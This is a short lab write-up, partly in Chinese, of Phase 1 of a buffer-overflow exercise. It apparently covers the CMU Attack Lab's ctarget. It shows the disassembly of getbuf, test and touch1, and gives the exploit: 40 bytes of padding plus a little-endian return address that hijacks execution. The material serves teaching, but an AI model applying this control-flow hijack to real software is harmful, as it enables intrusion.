# CTARGET

## Phase 1

```asm
00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret
```

很明显，getbuf只有0x28就是40的缓冲区，那只要40个垃圾数据+返回地址就行了

NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00`